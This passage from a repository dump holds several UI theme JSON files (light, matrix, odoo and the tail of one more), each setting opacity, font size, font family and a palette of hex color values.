| "color_primary": "#3093fd", 7 | "color_secondary": "#677886", 8 | "color_success": "#28a745", 9 | "color_danger": "#dc3545", 10 | "color_warning": "#ffc107", 11 | "color_info": "#97e9f6", 12 | "color_light": "#f8f9fa", 13 | "color_dark": "#343a40", 14 | "color_muted": "#6c757d", 15 | "color_white": "#ffffff" 16 | } 17 | -------------------------------------------------------------------------------- /themes/light.json: -------------------------------------------------------------------------------- 1 | { 2 | "opacity": 93, 3 | "fontsize": "medium", 4 | "fontsize_ca": "small", 5 | "fontfamily": "'Lucida Console', Monaco, monospace", 6 | "color_primary": "#007bff", 7 | "color_secondary": "#d0dce6", 8 | "color_success": "#78dd90", 9 | "color_danger": "#f7838e", 10 | "color_warning": "#ffc107", 11 | "color_info": "#1c7987", 12 | "color_light": "#343a40", 13 | "color_dark": "#f8f9fa", 14 | "color_muted": "#bfbfbf", 15 | "color_white": "#000000" 16 | } 17 | -------------------------------------------------------------------------------- /themes/matrix.json: -------------------------------------------------------------------------------- 1 | { 2 | "opacity": 93, 3 | "fontsize": "medium", 4 | "fontsize_ca": "small", 5 | "fontfamily": "'Courier New', monospace", 6 | "color_primary": "#80ff00", 7 | "color_secondary": "#101910", 8 | "color_success": "#ebffef", 9 | "color_danger": "#dc3545", 10 | "color_warning": "#ffc107", 11 | "color_info": "#849f7f", 12 | "color_light": "#00FF41", 13 | "color_dark": "#1a1e21", 14 | "color_muted": "#011e08", 15 | "color_white": "#008F11" 16 | } 17 | -------------------------------------------------------------------------------- /themes/odoo.json: -------------------------------------------------------------------------------- 1 | { 2 | "opacity": 93, 3 | "fontsize": "medium", 4 | "fontsize_ca": "small", 5 | "fontfamily": "'Inter', monospace", 6 | "color_primary": "#714B67", 7 | "color_secondary": "#017E84", 8 | "color_success": "#21B799", 9 | "color_danger": "#E46E78", 10 | "color_warning": "#E4A900", 11 | "color_info": "#97e9f6", 12 | "color_light": "#f8f9fa", 13 | "color_dark": "#191a1a", 14 | "color_muted": "#8F8F8F", 15 | "color_white": "#ffffff" 16 | } 17 | --------------------------------------------------------------------------------